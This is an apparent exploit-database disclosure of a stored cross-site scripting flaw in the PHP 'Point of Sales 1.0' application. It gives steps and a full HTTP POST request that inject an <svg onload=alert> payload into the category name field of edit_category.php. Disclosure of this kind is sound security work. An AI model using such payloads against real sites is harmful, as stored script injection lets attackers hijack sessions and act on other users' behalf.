Point Of Sales 1.0 Cross Site Scripting

`#Exploit Title: Point of Sales 1.0 - Stored Cross Site Scripting  
#Date: 2020-10-22  
#Exploit Author: Ankita Pal  
#Vendor Homepage: https://www.sourcecodester.com/php/14540/point-sales-phppdo-full-source-code-2020.html  
#Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/pos_0.zip  
#Version: 1.0  
#Tested on: Windows 10 + xampp v3.2.4  
  
  
Proof of Concept:::  
  
Step 1: Open the URL http://localhost:8081/pos/edit_category.php?id=1  
  
Step 2: Use payload <svg onload=alert("XSS") in Name Kategori.  
  
  
Malicious Request:::  
POST /pos/edit_category.php?id=1 HTTP/1.1  
Host: localhost:8081  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 59  
Origin: http://localhost:8081  
Connection: close  
Referer: http://localhost:8081/pos/edit_category.php?id=1  
Cookie: PHPSESSID=q9kusr41d3em013kbe98b701id  
Upgrade-Insecure-Requests: 1  
  
category=%3Csvg+onload%3D+alert%28%22XSS%22%29%3E&btn_edit=  
  
  
Payload gets executed.  
`